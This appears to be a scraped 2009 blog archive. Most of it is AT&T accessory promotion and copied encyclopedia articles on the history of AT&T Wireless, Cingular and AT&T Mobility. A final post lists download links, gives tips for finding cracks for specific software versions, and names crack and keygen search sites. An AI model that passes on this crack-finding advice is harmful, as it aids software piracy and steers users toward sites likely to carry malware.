Tester 'll Never " Satisfied "

Att Wireless Accessories

2009-09-01T10:09:00.000-07:00

Accessories

Find the AT&T-licensed accessory that you need. From batteries and headsets to cords and jacks, we have the accessory that was designed to work with your product. AT&T accessories are also compatible with most major brands.

Cordless Headsets

AT&T cordless headsets are the perfect accessories for your home or office phone system. The cordless headsets can be registered to expandable AT&T DECT 6.0 systems as an accessory handset or used in tandem with any existing phone system. Connect these headsets to your system for the perfect hands-free solution.

Cordless Headsets Spare Parts

Find the spare parts that you need for your cordless headsets.

Batteries

Use our Battery Finder to find the right battery for your phone. We carry batteries for almost every brand.

Headsets

AT&T Headsets are compatible with most headset capable telephones and use the 2.5 mm standard headset jack. We provide many different styles of headsets, so you are sure to find one that meets your needs.

Expansion Handsets

Need a phone in the garage? Add expansion handsets to your expandable system — you don't need a phone jack for each additional handset, just one for the base unit.

Answering Systems

Looking to add an answering system to your current telephone? Our digital answering systems record outgoing announcements and incoming messages on a microchip, which ensures reliable performance, instant access to messages, and the ability to selectively save and delete messages.

Caller ID Adjuncts

Find out who's calling before you answer! Display the name and number of incoming callers, even when you're on the phone.

Att Wireless Com

2009-09-01T09:59:00.000-07:00

AT&T Wireless Services

From Wikipedia, the free encyclopedia

This article is about the defunct wireless provider. For the wireless subsidiary of AT&T Inc. , see AT&T Mobility.

AT&T Wireless Services, Inc.

Fate	Acquired
Successor	Cingular Wireless LLC
Founded	1994 - as a division of AT&T July 9, 2001 - as a separate company
Defunct	October 2004
Headquarters	Redmond, Washington
Key people	John D. Zeglis
Industry	Wireless Services
Products	AMPS, D-AMPS, CDPD GSM,GPRS, EDGE, UMTS, SMS,MMS, mMode
Parent	AT&T until July 9, 2001

AT&T Wireless Services, Inc., formerly part of AT&T Corp., was a wireless telephone carrier in the United States, based in Redmond, Washington, and later traded on the New York Stock Exchange under the stock symbol "AWE", as a separate entity from its former parent.

On October 26, 2004, AT&T Wireless was acquired by Cingular Wireless, a joint venture of SBC Communications and BellSouth, to form the largest wireless carrier in the United States at the time. On 2004-11-16, AT&T Wireless stores were rechristened under the Cingular banner. The legal entity "AT&T Wireless Services, Inc." was renamed "New Cingular Wireless Services, Inc."^[1]

In late 2005, SBC (the majority partner in Cingular) acquired the original AT&T, and rebranded as "the new AT&T". Cingular became wholly-owned by the new AT&T in December 2006 as a result of the new AT&T's acquisition of BellSouth. After the merger, Cingular was renamed AT&T Mobility in early 2007 and remained the largest wireless carrier until 2009 when Verizon acquired Alltel to retake its position as the number one carrier.

[hide]

[edit]History

McCaw Cellular logo

AT&T Wireless began as McCaw Cellular, and was based in Redmond, WA, United States. It was founded by Craig McCaw.

In 1994, AT&T purchased McCaw for $11.5 billion and kick-started their cellular division with 2 million subscribers.^[2]^[3] That year, Steven W. Hooper, a long time McCaw Cellular executive, was tapped by AT&T to be the CEO of the newly acquired division. Under his direction, AT&T Wireless grew to be the nation's largest cellular provider by the end of 1997, at which point Hooper and many of the remaining McCaw era executives departed. By 1999 and 2000 the cellular industry began to consolidate and Verizon Wireless and Cingular Wireless became the first and second largest national carriers.

The year 1999 also brought John D. Zeglis as chief executive in October, followed a few months later by Dan Hesse's departure, who had been head of the division since 1997. Over the next year and a half all six McCaw regional presidents left the declining company.

In April 2000, AT&T Wireless became a separately traded entity with the world's largest initial public offering at that time. Just over a year later in July 2001, AT&T Wireless became a separate company rather than a division of AT&T Corp.

In 2003, AT&T Wireless was granted several mobile licenses for Caribbean countries including Barbados, Grenada, Saint Lucia, and Saint Vincent and the Grenadines.^[4] AT&T Wireless' decline climaxed in 2003 with the FCC mandating the allowance of porting numbers to other carriers. AT&T Wireless experienced a mass exodus of many customers who were fed up with years of degrading service and poor coverage. By the end of 2003, AT&T Wireless faced a public relations nightmare when a new system for adding subscribers and porting numbers in/out was implemented and botched. Realizing that it faced an impossible situation, AT&T Wireless Services, Inc began accepting bids in early 2004 to be acquired.

As of January 1, 2004, the largest single shareholder of AT&T Wireless was Japan's NTT DoCoMo, which was one of the first to place a bid to buy the company.

In the middle of 2004 much of the Caribbean operations and Bermuda were agreed to be sold to Digicel Group.

[edit]Acquisition history

On February 13, 2004, AT&T Wireless accepted bids for acquisition of the wireless company. The two top bidders were British carrier Vodafone and American competitor Cingular. Cingular was owned by two Baby Bells; 40% by BellSouth and 60% by SBC Communications, Inc. SBC would later acquire AT&T Corp. in 2006 and adopt the latter's name, becoming AT&T Inc. Vodafone owns 45% of Verizon Wireless and had it succeeded in the bid, their share of Verizon Wireless would then have been sold to parent company Verizon Communications. Cingular emerged victorious February 17 by agreeing to pay more than $41 billion, more than twice the company's recent trading value, to acquire AT&T Wireless. Some analysts have said that although Vodafone, the world's largest mobile operator, was unsuccessful in acquiring the company, it was nonetheless successful in forcing a competitor to overpay for the acquisition of AT&T Wireless.

The sale received US government approval and closed on October 26. The AT&T Wireless brand was retired by Cingular on April 26, 2005, six months after the close of the merger. This was per a pre spin-off agreement with AT&T Corp. that stated that if AT&T Wireless was to be bought by a competitor, the rights to the name AT&T Wireless and the use of the AT&T name in wireless phone service would revert back to AT&T Corp.

AT&T Wireless' prepaid services, Go Phone, was adopted by Cingular Wireless after the merger closed, and is still in use today by the current AT&T Mobility.

[edit]Partnerships

Rogers AT&T Wireless was a publicly traded partnership between Rogers and AT&T. It operated a mobile network in Canada until Rogers bought out AT&T's stake in 2004 and took the company private.See Rogers Wireless.

SunCom Wireless was a brand name used by three separate companies: Telecorp PCS, Tritel PCS, and Triton PCS (based in Arlington, VA, Jackson, MS, and Berwyn, PA, respectively). All three used the same SunCom logo, but operated as completely independent companies, though all were affiliates of AT&T Wireless, which owned 23% of each company. Telecorp operated primarily in Wisconsin, Iowa, Louisiana, Tennessee, Arkansas, and Puerto Rico. Tritel operated primarily in Mississippi, Kentucky, Alabama, and Tennessee. Triton operated primarily in North and South Carolina and Virginia. In 2002, Telecorp and Tritel completed a merger, while Triton remained independent. In 2003, AT&T Wireless completed the acquisition of Telecorp/Tritel, and closed the Telecorp headquarters in Arlington, VA.

Cincinnati Bell Wireless started as a joint venture between Cincinnati Bell and AT&T Wireless, in which AT&T Wireless owned 20%. When AT&T Wireless was purchased by Cingular, control of the 20% passed to Cingular as well. On 2006-02-17, Cincinnati Bell took full control of Cincinnati Bell Wireless by purchasing Cingular's 20% ownership for $80 million.

[edit]AT&T Returns as AT&T Mobility LLC

Main article: AT&T Mobility

The AT&T brand in wireless ended in 2004, but it would be brought back a few years later. On November 18, 2005, SBC Communications, Inc. completed a merger with AT&T Corp., and took on the name AT&T and created a new modern globe logo. After the merger, rumors surfaced of a revival of AT&T's brand in wireless via a rebranding of Cingular, however Cingular, Bellsouth, and the new AT&T maintained that the Cingular brand would remain for the time being.

Then, in an ironic turn of events, the new AT&T announced on March 5, 2006^[5] that it would be acquiring BellSouth's telephone operations and its stake in Cingular Wireless. On December 29, 2006 the FCC gave its final approval to the AT&T and BellSouth merger. With both parent companies merged into one, Cingular Wireless officially became AT&T Mobility LLC in 2007. The rebranding phase was a gradual process but by mid-2007, the Cingular Wireless brand (not the company) was officially discontinued for the AT&T name. ^[6]

Thus, AT&T as a wireless brand is alive and well, however, the old AT&T Wireless Services company remains defunct. Today, AT&T stores sell all AT&T products and services: Wireless, Landline, Internet, U-Verse, and more. AT&T currently markets all services under one brand, even though the wireless division is commonly referred to as "AT&T wireless" both internally and externally.

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Att Wireless

2009-09-01T09:55:00.001-07:00

AT&T Mobility

From Wikipedia, the free encyclopedia

"AT&T Wireless" redirects here. For the defunct wireless provider that was merged into Cingular in 2004, see AT&T Wireless Services.

AT&T Mobility LLC

Type	Subsidiary of AT&T
Founded	2000
Headquarters	Atlanta, Georgia, USA
Area served	United States
Key people	Ralph de la Vega, CEO Peter A. Ritcher, CFO
Industry	Wireless Services
Products	HSDPA, HSUPA, UMTS, W-CDMA, EDGE, GPRS, GSM, Wireless Data Services (MEdia Net), Two way messaging, Push to Talk
Revenue	▲US$42.7 billion (2007) ^[1]
Employees	69,876 (2008)
Parent	AT&T
Website	wireless.att.com

AT&T Mobility LLC is the wholly owned wireless subsidiary of AT&T Inc. AT&T Mobility, headquartered in Atlanta, Georgia,^[2] is the second-largest mobile phone company in the United States, in terms of number of subscribers, behind Verizon Wireless. AT&T Mobility has approximately 79.6 million subscribers as of the second quarter 2009.

Formerly a joint venture between SBC Communications and BellSouth, Cingular Wireless soon acquired the old AT&T Wireless; SBC later acquired the original AT&T and re-branded as "the new AT&T". Cingular became wholly-owned by the new AT&T in December 2006 as a result of AT&T's acquisition of BellSouth.

In January 2007, Cingular confirmed it would rebrand itself under the AT&T moniker. The corporate name change occurred immediately, although, for regulatory and brand-awareness reasons, both brands were used in the wireless unit's signage and advertising during a transition period.^[3] The transition concluded in late June, just prior to the rollout of the Apple iPhone.

Among the services that AT&T aggressively promotes is its "Rollover" service, allowing customers to keep unused minutes from month to month on a twelve-month rolling cycle on its popular "Nation" nationwide plans. Beginning in July 2007, AT&T now allows its AT&T Unity plan users to have "Rollover", a service which was exclusive to the "Nation" plans. AT&T also launched video share in 2007, in which a mobile caller can stream live video from one phone to another over the 3G network with video share capable phones. This allows one mobile phone user to view another's camera through the mobile phone in real time.

A large number of AT&T Mobility employees are unionized, belonging to the Communications Workers of America. The CWA represented roughly 15,000 of the previous 20,000 formerly AT&T Wireless employees as of early 2006.^[4] As of the end of 2007, the CWA website claims roughly 40,000 workers of AT&T Mobility are represented by the union.^[5]

[edit]History

Cingular Wireless logo, 2000-2004

Cingular Wireless LLC was founded in 2000 as a joint venture of SBC Communications and BellSouth. The joint venture created the nation's second-largest carrier. Cingular grew out of a conglomeration of more than 100 companies ^[6], with 12 well-known regional companies with Bell roots. The 12 companies included:

Three companies spun off from Advanced Mobile Phone Service, Inc.
BellSouth Mobility DCS, Inc.
BellSouth Wireless Data, LLC
CCPR Services Inc. d/b/a Cellular One of Puerto Rico and US Virgin Islands
Pacific Bell Wireless, LLC
Pacific Bell Wireless Northwest, LLC
SBC Wireless, LLC
SNET Mobility, LLC
Southwestern Bell Wireless, Inc.

SBC Wireless had previously operated in several northeast markets under the "Cellular One" brand, while BellSouth's wireless operations incorporated the former Houston Cellular.

Cingular's lineage can be traced back to Advanced Mobile Phone Service, which was a subsidiary of AT&T created in 1978 to provide cellular service nationwide. AMPS, Inc. was divided among theRegional Bell Operating Companies as part of the Bell System divestiture.

With the exception of Pacific Bell and BellSouth Mobility DCS, the digital network consisted of D-AMPS technology. The Pacific Bell and BellSouth Mobility DCS networks used GSM technology on the PCS frequency band (1900 MHz).

In October 2007, AT&T’s president and chief executive officer Stan Sigman announced his retirement. Ralph de la Vega, group president-Regional Telecom & Entertainment, was named as president and CEO, AT&T Mobility.^[7]

[edit]AT&T Wireless merger

In February 2004, after a bidding war with Britain's Vodafone Plc (45% owners of Verizon Wireless) Cingular announced that it would purchase its struggling competitor, AT&T Wireless Services, Inc., for $41 billion. This was more than twice the company's trading value.

AT&T Wireless logo

Cingular Wireless logo, 2004-2006

The merger was completed on October 26, 2004. The combined company had a customer base of 46 million people at the time, making Cingular the largest wireless provider in the United States. AT&T Wireless was then legally renamed New Cingular Wireless Services, Inc. ^[8] Shortly after new commercials were shown a with the "AT&T" transforming into the Cingular logo, and with the Cingular logo's text turned blue to acknowledge the change. First announced on June 22,2005 Cingular Wireless announced the intention to divest its Caribbean and Bermuda operations and licenses which it acquired from the acquisition of AT&T Wireless, to Irish-owned and Jamaica-based Digicel Group under undisclosed financial terms.^[9]^[10]^[11]^[12]

In 2006, one year following the deal, a high ranking source allegedly close to the sale pointed the Barbados Daily Nation Newspaper towards some SEC filings made by Cingular which were said to establish an idea of the approximate sale price of the deal. According to the SEC filings Cingular was paid around US$122 million, with much of that $122m cost to Digicel going towards the purchasing of the former AT&T Wireless assets in Barbados.^{[citation needed]}

At the time of the merger, there were two networks: the historic AT&T Blue Network and the Cingular Orange Network. Both networks contained a mix of both TDMA and GSM facilities. Approximately 50,000 cell sites had to be melded together. From a technical standpoint, the "blue" and "orange" networks were considered different networks until integration was completed in 2005.^[13] Enhanced Network Selection (ENS) was used to home cellular devices on either the "blue" or "orange" network during this process.

[edit]GSM facilities

In California, Nevada, Northern New Jersey and New York City, Cingular and T-Mobile USA maintained and shared a GSM-1900 network prior to the acquisition of AT&T Wireless, through a joint venture known as GSM Facilities. The network sharing agreement allowed Cingular to offer local service in northern New Jersey and New York City and T-Mobile to offer service in California and Nevada. On May 25, 2004, Cingular and T-Mobile USA announced their intention to dissolve the agreement contingent on Cingular's successful acquisition of AT&T Wireless, the Cingular network was transferred to T-Mobile, with Cingular continuing work on the GSM facilities at AT&T Wireless sites. ^[14]

[edit]Network coverage

An AT&T Mobility Device Support Center in Las Vegas, Nevada.

As a result of its formation through mergers and acquisitions, as well as the rapid technological change in the wireless industry, AT&T Mobility operates networks within its United States footprint using different wireless communication standards. The core technology standard for the AT&T Mobility wireless network is calledGlobal System for Mobile Communications, or GSM. Much of the AT&T Mobility network footprint now uses GSM-standard 3G wireless technologies (UMTS/HSPA) for simultaneous circuit switched voice and packet switched data communications. AT&T Mobility also offers Push To Talk (PTT) service using network technology from Kodiak Networks.

Cingular, the predecessor to AT&T Mobility, supported legacy D-AMPS/TDMA and analog wireless networks. In March 2006, Cingular announced that these networks would be shut down by February 2008. As of March 31, 2007 Cingular ended TDMA supported for GoPhone (pre-paid) customers. On February 18, 2008, AT&T Mobility officially ended service on their AMPS and TDMA network, except for in areas previously operated by Dobson Communications; the Dobson AMPS and TDMA network was shut down March 1, 2008.

Networks formerly operated by AT&T Mobility predecessors including Cingular also include various paging services and the Cingular Interactive division, which becameVelocita Wireless. Velocita was later purchased by Sprint Nextel.^[15]

The AT&T Mobility wireless data network began in 2002 as a Cingular initiative called "Project Genesis" that involved a GPRS (General Packet Radio Service) overlay of the entire wireless network. Project Genesis was completed by the end of 2004. Later, this network was upgraded to EDGE (Enhanced Data rates for GSM Evolution) across the GSM footprint.

In 2005, AT&T Mobility launched a high-speed network known as "BroadbandConnect," based on UMTS and High-Speed Downlink Packet Access (HSDPA), to counter Verizon Wireless and Sprint's EV-DO networks. UMTS service was launched on December 6, 2005 in Seattle, Portland, San Francisco, Salt Lake City, San Jose, San Diego, Las Vegas, Phoenix, Puerto Rico, Austin, Houston, Dallas, Detroit, Chicago, Boston, Baltimore and Washington D.C. and expanded to all major metropolitan markets by the end of 2006. As of early 2009, AT&T Mobility has completed its upgrade of the 3G network to HSUPA,^[16]and will begin a new round of upgrades to the HSPA+ standard^[17].

[edit]Future networks

AT&T Mobility, Verizon Wireless, T-Mobile and most other mobile phone companies have chosen to build their new "4G" networks, with "Long Term Evolution" or LTE technology. This will allow for interoperability with most other mobile phone carriers, and allow for any unlocked LTE phone to be used on any company's network. Long Term Evolution LTE is the next step from 3G/WCDMA & HSPA for many already on the GSM technology curve, including AT&T. This new radio access technology will be optimized to deliver very fast data speeds of up to 100 Mbit/s downlink and 50 Mbit/s uplink (peak rates).

Designed to be backwards-compatible with GSM and HSPA, LTE incorporates Multiple In Multiple Out (MIMO) in combination with Orthogonal Frequency Division Multiple Access (OFDMA) in the downlink and Single Carrier FDMA in the uplink to provide high levels of spectral efficiency and end user data rates exceeding 100 Mbit/s, coupled with major improvements in capacity and reductions in latency. LTE will support channel bandwidths from 1.25 MHz to 20 MHz and both FDD and TDD operation. Verizon Wireless has announced intentions to bring an active LTE network online by the end of 2010. AT&T Mobility has not set an official date to begin building their LTE network.

[edit]"Cingular is now the new AT&T"

On November 20, 2005, Ed Whitacre, then CEO of the newly merged SBC/AT&T, announced plans to market Cingular's service under the AT&T brand. BellSouth spokesman Jeff Battcher countered that the terms of the joint venture allow either party to sell the service under another name, and that he believes they will be using the brand to market to business customers.^[18] Cingular president Stan Sigman concurred with BellSouth's position, indicating that the Cingular brand would continue but be sold under the AT&T brand where offered in packages with other AT&T services, such as data and wireline telephony.

However, AT&T, Inc. announced on March 5, 2006^[19] that it would acquire BellSouth. The acquisition was finalized on December 29, 2006 when the FCC gave its final approval. According to AT&T, the company began the rebranding of Cingular Wireless to "AT&T". ^[20]

On January 12, 2007 AT&T announced^[21] a major rebranding transition campaign to transition Cingular to the new AT&T ("in February 2009 "new" was removed). The former Cingular stores, after being rebranded to AT&T, sold all AT&T products and services: wireless, landline, Internet, U-Verse, and more.

Cingular to AT&T Rebranding Transition:

On January 14, 2007 AT&T launched the transition of the Cingular brand to AT&T in television advertising and customer communications, by creating the "Cingular is now The New AT&T" logo.
On April 15, 2007, AT&T Mobility began to introduce new AT&T branded mobile phones and devices. The alpha tag (portion of phone's screen which displays the name of the network on which the phone is connected) on new phone activations also started reading "AT&T".
Around May 11, 2007, Cingular's name was replaced with "AT&T" in most advertisements.
On May 19, 2007, the AT&T logo replaced the Cingular logo on the NASCAR NEXTEL Cup Series car it sponsors, owned by Richard Childress Racing and driven by Jeff Burton. (But it was soon removed; see below for details.)
On May 24, 2007, Palm, Inc. issued an update for Cingular-branded Treo 680 smartphones that, among other things, updates the phone's branding (startup and shutdown screens, wallpaper backgrounds) from Cingular to AT&T.^[22]
As of May 31, 2007, the former cingular.com website redirects to wireless.att.com and no longer features any Cingular logos whatsoever.
As of June 1, 2007, customer service phone lines are now answered "Thank you for calling the new AT&T." Additionally, all new SIM cards are branded with the AT&T logo.
As of June 16, 2007, most of the phones on the company's network now display AT&T as the carrier instead of Cingular.

[edit]Acquisition of Dobson Communications

Transition banner used for Dobson/AT&T transition

Dobson Cellular Logo

Cellular One logo used by Dobson until acquisition by AT&T in November 2007

On November 15, 2007 AT&T completed its acquisition of Dobson Communications. Dobson marketed the Cellular One brand in rural and suburban locations in various areas of the United States, including Alaska. AT&T bought Dobson for $13 per share, as well as assuming the regional carrier's debt, which cost the nation's largest carrier about $5.1 billion total. The U.S. Justice Department had ordered AT&T Inc. to sell assets in five U.S. states to complete its $2.8 billion Dobson Communications Corp. takeover. The department ordered AT&T to divest certain cell-phone assets in Kentucky, Oklahoma, Missouri, Pennsylvania and Texas where AT&T and Dobson are most competitive. At the time, AT&T was the largest U.S. cell-phone provider, with more than 79 million subscribers in 50 states. Dobson's Cellular One was the ninth largest, with 1.7 million subscribers in 17 states. Dobson had been an AT&T roaming partner since 1990, and the acquisition is expected to bring growth to Dobson's current markets. The purchase allowed AT&T to operate in the more rural areas of the United States including Alaska & West Virginia. ^[23]

[edit]Acquisition of Centennial Communications

On November 7, 2008, AT&T announced its plans to acquire Centennial Wireless for $944 million. AT&T said that the acquisition would provide customers with better coverage in the Southeast, Midwest, Puerto Rico, and the US Virgin Islands. The deal will also give AT&T more highly-coveted 850 MHz spectrum in the current Centennial Wireless coverage area. In addition, Centennial also provides switched voice and high-capacity data and Internet Protocol solutions for business customers in Puerto Rico. The transaction will give AT&T a wired network presence in Puerto Rico and will allow the company to better serve its multinational business customers with a presence in this U.S. territory. AT&T would also gain Centennial's 1.1 million subscribers. The deal is subject to regulatory approval. ^[24]

[edit]Marketing

[edit]Fewest dropped calls

During the first quarter of 2006, Telephia reported that during an extensive nationwide test of major wireless carriers in 350 metropolitan markets around the country, Cingular dropped the fewest number of calls across the country. Cingular in turn began aggressively advertising the "Allover Network", citing Telephia as "the leading independent research company." Telephia's report was in stark contrast to the Consumers Union publication, Consumer Reports, based on a survey of 50,000 of its members in 18 cities, which criticized Cingular for static and dropped calls.^[25] Furthermore, J.D. Power and Associates consistently ranked Cingular at or near the bottom of every geographical region in its 2006 Wireless Call Quality Study, which is based on a smaller survey of 23,000 wireless users.

Telephia, which tests wireless networks by making over 6 million calls per year in what it claims is the world's largest wireless network test program, initially refused to provide details on its study, and a spokesman for the company has said, according to the Boston Globe, that "Cingular shouldn't have even mentioned the company's name to a reporter."^[26] The research company later stated that Cingular did indeed have a "statistically-significant lower dropped-call rate than the competition across some market/time period groupings", but that Telephia had "no knowledge of the specific methodology (markets, time periods or statistical thresholds) that Cingular used for its 'lowest dropped call' claim."^[27] While AT&T has abandoned its verbal claim of "The Fewest Dropped Calls" in its commercials, it continues to show situations where two persons are speaking with each other on their phones, and one of the user's call drops. AT&T now states "We are still continuing to run ads that emphasize the importance of not dropping calls. That campaign is continuing.^[28]

[edit]iPhone

On June 29, 2007 the Apple iPhone was introduced to the U.S. market, with AT&T being the exclusive carrier for the device within the United States.

Teething problems with AT&T's billing process emerged soon after the iPhone's release, as early adopters started receiving exceptionally detailed monthly telephone bills^[29]^[30] with one of the most notable being the 300-page iPhone bill that was featured in an online video by blogger Justine Ezarik.^[31]^[32]

The iPhone 3G launched with AT&T on July 11, 2008. Although specific AT&T sales numbers are unavailable, Apple announced that over 1 million iPhone 3G devices were sold during its first three days. In the United States, the iPhone 3G is only available with an AT&T contract. AT&T is rumored to have heavily subsidized the iPhone's price to reach a broader spectrum of consumers.

In August 2008 Best Buy announced that it will start selling the iPhone (for use on the AT&T network) in September, 2008. [3]. In September, 2008, AT&T announced that it will start selling the iPhone 3G in Puerto Rico and in the US Virgin Islands[4].

[edit]Phones offered

[edit]Calling plans and features

AT&T Mobility sells a variety of wireless services, including individual and plans for multiple users for the consumer.

[edit]Mobile to Mobile

Mobile to mobile, or M2M, is advertised as unlimited free calling between AT&T users who have purchased a plan that includes this feature. However, call minutes during nights and weekends (NW) time periods are subtracted. If all the plan's NW minutes are used then M2M minutes are subtracted from the plan's "Anytime" minutes remaining and then subtracted from "Rollover" minutes. Eventually, high M2M usage can result in charges for non-M2M calls. There is only one calling plan that does not offer unlimited night and weekends

[edit]AT&T Unity

AT&T Unity is a (free if the subscriber also has a landline with AT&T) service offered for users of landline and wireless AT&T service. It provides free unlimited calling to users of AT&T landline and wireless services. AT&T Unity customers also receive "Rollover" minutes and night and unlimited weekend minutes.

[edit]Mobile phone insurance

AT&T Mobility allows its customers to have mobile phone insurance in case of loss or accidental damage. Asurion LLC is the administrator of the insurance program from AT&T. All phones are covered under the mobile phone insurance plan except the Apple iPhone and AT&T GoPhones. Customers are required to pay a deductible for each time they make an insurance claim, and are only allowed two claims per 12-month period; Asurion cancels coverage after a second claim.

[edit]Controversies

[edit]Cingular/AT&T NASCAR sponsorship controversy

Cingular Wireless began its sponsorship of the #31 Chevrolet, owned by Richard Childress Racing, in the NASCAR Winston Cup Series in 2002. Two years later, when Nextel Communications (nowSprint Nextel) purchased the naming rights to NASCAR's top division (rebranding the division as the Nextel Cup, and later the Sprint Cup), Cingular and Alltel, sponsor of the #12 Dodge (owned by Penske Racing and driven by Ryan Newman), were allowed to stay as sponsors under a grandfather clause. In early 2007, following its purchase by AT&T, Cingular began a re-branding effort to the AT&T Mobility brand. NASCAR quickly claimed that a clause in their contract with Sprint Nextel would not allow Cingular to change either the name or brand advertised on the #31 car.

After trying and failing to persuade NASCAR to approve the addition of the AT&T globe logo to the rear of the car, AT&T filed a lawsuit against NASCAR on March 16, 2007. On May 18, AT&T won a preliminary injunction in the United States District Court for the Northern District of Georgia in Atlanta and, following a failed emergency motion for a stay by NASCAR on May 19, re-branded the #31 car, now driven by Jeff Burton, in time for the Nextel All-Star Challenge that evening.^[33]^[34] NASCAR was later granted an appeal to be heard on August 2.

On June 17, NASCAR announced it had filed a US$100 million dollar lawsuit against AT&T and would like AT&T and all other telecommunications companies out of the sport in 2008.^[35]

On August 13, a ruling by the United States Court of Appeals for the Eleventh Circuit cleared the way for NASCAR to prevent AT&T Inc. from featuring its logo on the car. The 11th Circuit threw out a lower court's ruling that prevented NASCAR from stopping AT&T's plans. The appeals court remanded the case to the district court.^[36]

At first practice for the Sharpie 500 at Bristol Motor Speedway on August 24, the #31 car was colored orange and black, but was bare; that is, no primary sponsor (but associate sponsors appeared) were on the car, similar to Formula One cars run in races where tobacco advertising was prohibited. The pit crew wore grey Richard Childress Racing shirts and Burton had a plain orange fire suit with associate sponsors. The car which carried a "subliminal advertising" scheme arrived in a black hauler with only the number 31 on the side. NASCAR officials said the car would not have made it through inspection with the AT&T logos.^[37] During that weekend, AT&T claimed that two alternate paint schemes proposed by AT&T--one advertising its "go phone" and another with the old Cingular slogan "more bars in more places" that AT&T recently brought back--were rejected by NASCAR. The Go Phone scheme had been used in the past.^[38] NASCAR later denied these claims.^[39]

The car remained bare on race night on August 25, although ESPN aired the AT&T logo during shots from its in-car camera. Fox Sports had done so earlier in the dispute, with the words "Cingular is the new AT&T" on-screen during these shots.

On September 7, 2007, a settlement was reached where AT&T Mobility could remain on the #31 car until the end of 2008, but the associate sponsorship of the #29 Nationwide Series Holiday Inn Chevrolets not affected because they are in lower series. ^[40]

Richard Childress Racing announced the AT&T Mobility sponsorship will move to Grand American Road Racing Association sportscar racing in 2009 with the sponsorship of the Childress-Howard Motorsports #4 AT&T Pontiac Daytona Prototype sportscar. Childress is a part-owner of this team.

[edit]Competitors

AT&T is the second-largest mobile carrier in the United States, based on customer totals. AT&T's competitors are (from largest to smallest):

Att Wireless Com

2009-09-01T09:52:00.000-07:00

On October 26 2004, AT&T Wireless was acquired by Cingular Wireless, a joint venture of SBC Communications and BellSouth, to form the largest wireless carrier in the United States at the time. On 2004-11-16, AT&T Wireless stores were rechristened under the Cingular banner. The legal entity "AT&T Wireless Services, Inc." was renamed "New Cingular Wireless Services, Inc." ^[1]

Contents:
1. History
2. Acquisition history
3. Partnerships
4. AT&T Returns as AT&T Mobility LLC

AT&T Wireless Services, Inc.

Fate	Acquired
Successor	Cingular Wireless LLC
Founded	1994 - as a division of AT&T July 9, 2001 - as a separate company
Defunct	October 2004
Headquarters	Redmond, Washington
Key people	John D. Zeglis
Industry	Wireless Services
Products	AMPS, D-AMPS, CDPD GSM, GPRS, EDGE, UMTS, SMS, MMS, mMode
Parent	AT&T until July 9, 2001

1. History

McCaw Cellular logo

AT&T Wireless began as McCaw Cellular, and was based in Redmond, WA, United States. It was founded by Craig McCaw.

In 1994, AT&T purchased McCaw for $11.5 billion and kick-started their cellular division with 2 million subscribers. ^[2] ^[3] That year, Steven W. Hooper, a long time McCaw Cellular executive, was tapped by AT&T to be the CEO of the newly acquired division. Under his direction, AT&T Wireless grew to be the nation's largest cellular provider by the end of 1997, at which point Hooper and many of the remaining McCaw era executives departed. By 1999 and 2000 the cellular industry began to consolidate and Verizon Wireless andCingular Wireless became the first and second largest national carriers.

In 2003, AT&T Wireless was granted several mobile licenses for Caribbean countries including Barbados, Grenada, Saint Lucia, and Saint Vincent and the Grenadines. ^[4] AT&T Wireless' decline climaxed in 2003 with the FCC mandating the allowance of porting numbers to other carriers. AT&T Wireless experienced a mass exodus of many customers who were fed up with years of degrading service and poor coverage. By the end of 2003, AT&T Wireless faced a public relations nightmare when a new system for adding subscribers and porting numbers in/out was implemented and botched. Realizing that it faced an impossible situation, AT&T Wireless Services, Inc began accepting bids in early 2004 to be acquired.

As of January 1 2004, the largest single shareholder of AT&T Wireless was Japan's NTT DoCoMo, which was one of the first to place a bid to buy the company.

In the middle of 2004 much of the Caribbean operations and Bermuda were agreed to be sold to Digicel Group.

2. Acquisition history

On February 13 2004, AT&T Wireless accepted bids for acquisition of the wireless company. The two top bidders were British carrierVodafone and American competitor Cingular. Cingular was owned by two Baby Bells; 40% by BellSouth and 60% by SBC Communications, Inc. SBC would later acquire AT&T Corp. in 2006 and adopt the latter's name, becoming AT&T Inc. Vodafone owns 45% of Verizon Wireless and had it succeeded in the bid, their share of Verizon Wireless would then have been sold to parent companyVerizon Communications. Cingular emerged victorious February 17 by agreeing to pay more than $41 billion, more than twice the company's recent trading value, to acquire AT&T Wireless. Some analysts have said that although Vodafone, the world's largest mobile operator, was unsuccessful in acquiring the company, it was nonetheless successful in forcing a competitor to overpay for the acquisition of AT&T Wireless.

The sale received US government approval and closed on October 26. The AT&T Wireless brand was retired by Cingular on April 26 2005, six months after the close of the merger. This was per a pre spin-off agreement with AT&T Corp. that stated that if AT&T Wireless was to be bought by a competitor, the rights to the name AT&T Wireless and the use of the AT&T name in wireless phone service would revert back to AT&T Corp.

AT&T Wireless' prepaid services, Go Phone, was adopted by Cingular Wireless after the merger closed, and is still in use today by the current AT&T Mobility.

3. Partnerships

4. AT&T Returns as AT&T Mobility LLC

Main article: AT&T Mobility

The AT&T brand in wireless ended in 2004, but it would be brought back a few years later. On November 18 2005, SBC Communications, Inc. completed a merger with AT&T Corp., and took on the name AT&T and created a new modern globe logo. After the merger, rumors surfaced of a revival of AT&T's brand in wireless via a rebranding of Cingular, however Cingular, Bellsouth, and the new AT&T maintained that the Cingular brand would remain for the time being.

Then, in an ironic turn of events, the new AT&T announced on March 5, 2006 ^[5] that it would be acquiring BellSouth's telephone operations and its stake in Cingular Wireless. On December 29 2006 the FCC gave its final approval to the AT&T and BellSouth merger. With both parent companies merged into one, Cingular Wireless officially became AT&T Mobility LLC in 2007. The rebranding phase was a gradual process but by mid-2007, the Cingular Wireless brand (not the company) was officially discontinued for the AT&T name. ^[6]

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2009-08-26T07:53:00.000-07:00

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http://download.51soft.com/html/d/desktopx.htm
http://www.bt.nm.cninfo.net/sortware/
http://extend.hk.hi.cn/~czy/
http://vdown.vicp.net/
http://www.yy-china.com/htm/bd_tx.htm
http://fwhp.cjb.net/start.htm?
http://home.wanadoo.nl/montenegro/1.html

----------------------

Use the search engines to find cracks for particular programs.
Be sure the version is the correct one for the crack.
Use the metasearches and sites that offer searching a number of engines from the same page for easier searches.
A lot of these sites are supported by porn. Any notable feature of sites are indicated alongside.

Crack search engines:

http://astalavista.box.sk/
http://www.crackcrawler.net/cgi/search.php4 the BEST metasearch for cracks
http://kickme.to/crackwar very good can search 23 engines from 1 page
http://www.megasearch.ws/ search the main engines from here
http://www.bugs2k.com/
a good search site with minimal popups
http://www.andr.net/index.php another good one
http://crackazoid.com/
http://keygen.net/s.htm
http://www.hksoftking.com/v.php
http://www.dream-avenue.com/docky/leportail.htm
